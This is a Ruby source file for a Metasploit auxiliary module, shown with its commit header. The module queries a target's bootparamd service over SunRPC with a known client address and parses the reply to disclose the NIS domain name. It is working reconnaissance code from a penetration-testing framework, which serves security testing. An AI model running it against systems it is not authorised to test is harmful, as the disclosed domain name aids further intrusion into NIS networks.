Files
metasploit-gs/modules/auxiliary/gather/nis_bootparamd_domain.rb
T
William Vu 736d438813 Address second round of feedback
Brain fart on guard clauses when I've been using them all this time...
Updating the conditions made the ternary fall out of favor.

Changed some wording in the doc to suggest the domain name for a
particular NIS server may be different from the bootparamd client's
configuration.
2018-01-13 22:55:01 -06:00

149 lines
4.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SunRPC
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'NIS bootparamd Domain Name Disclosure',
'Description' => %q{
This module discloses the NIS domain name from bootparamd.
You must know a client address from the target's bootparams file.
Hint: try hosts within the same network range as the target.
},
'Author' => [
'SATAN', # boot.c
'pentestmonkey', # Blog post
'wvu' # Metasploit module
],
'References' => [
['URL', 'https://tools.ietf.org/html/rfc1831'],
['URL', 'https://tools.ietf.org/html/rfc4506'],
['URL', 'http://pentestmonkey.net/blog/nis-domain-name']
],
'License' => MSF_LICENSE
))
register_options([
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'udp', %w{tcp udp}]),
OptAddress.new('CLIENT', [true, "Client from target's bootparams file"])
])
register_advanced_options([
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
])
end
def run
proto = datastore['PROTOCOL']
client = datastore['CLIENT']
begin
sunrpc_create(
proto, # Protocol: UDP (17)
100026, # Program: BOOTPARAMS (100026)
1 # Program Version: 1
)
rescue Rex::ConnectionError
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
rescue Rex::Proto::SunRPC::RPCError
fail_with(Failure::Unreachable, 'Could not connect to bootparamd')
end
# Flavor: AUTH_NULL (0)
sunrpc_authnull
# Convert ASCII to network byte order to four unsigned chars :(
client_addr = Rex::Socket.addr_aton(client).unpack('C4')
bootparam_whoami = Rex::Encoder::XDR.encode(
1, # Address Type: IPv4-ADDR (1)
*client_addr # Client Address: [redacted]
)
begin
res = sunrpc_call(
1, # Procedure: WHOAMI (1)
bootparam_whoami # Boot Parameters
)
rescue Rex::Proto::SunRPC::RPCError
fail_with(Failure::NotFound, 'Could not call bootparamd procedure')
rescue Rex::Proto::SunRPC::RPCTimeout
fail_with(Failure::NotVulnerable,
'Could not disclose NIS domain name (try another CLIENT?)')
ensure
# Shut it down! Shut it down forever!
sunrpc_destroy
end
unless res
fail_with(Failure::Unknown, 'No response from server')
end
bootparams = begin
Timeout.timeout(datastore['XDRTimeout']) do
parse_bootparams(res)
end
rescue Timeout::Error
fail_with(Failure::TimeoutExpired,
'XDR decoding timed out (try increasing XDRTimeout?)')
end
if bootparams.blank?
fail_with(Failure::Unknown, 'Could not parse bootparams')
end
bootparams.each do |host, domain|
msg = "NIS domain name for host #{host} (#{client}) is #{domain}"
print_good(msg)
report_note(
host: rhost,
port: rport,
proto: proto,
type: 'nis.bootparamd.domain',
data: msg
)
end
end
def parse_bootparams(res)
bootparams = {}
loop do
begin
# XXX: res is modified in place
host, domain, _, _, _, _, _ = Rex::Encoder::XDR.decode!(
res,
String, # Client Host: [redacted]
String, # Client Domain: [redacted]
Integer, # Address Type: IPv4-ADDR (1)
# One int per octet in an IPv4 address
Integer, # Router Address: [redacted]
Integer, # Router Address: [redacted]
Integer, # Router Address: [redacted]
Integer # Router Address: [redacted]
)
break unless host && domain
bootparams[host] = domain
rescue Rex::ArgumentError
vprint_status("Finished XDR decoding at #{res.inspect}")
break
end
end
bootparams
end
end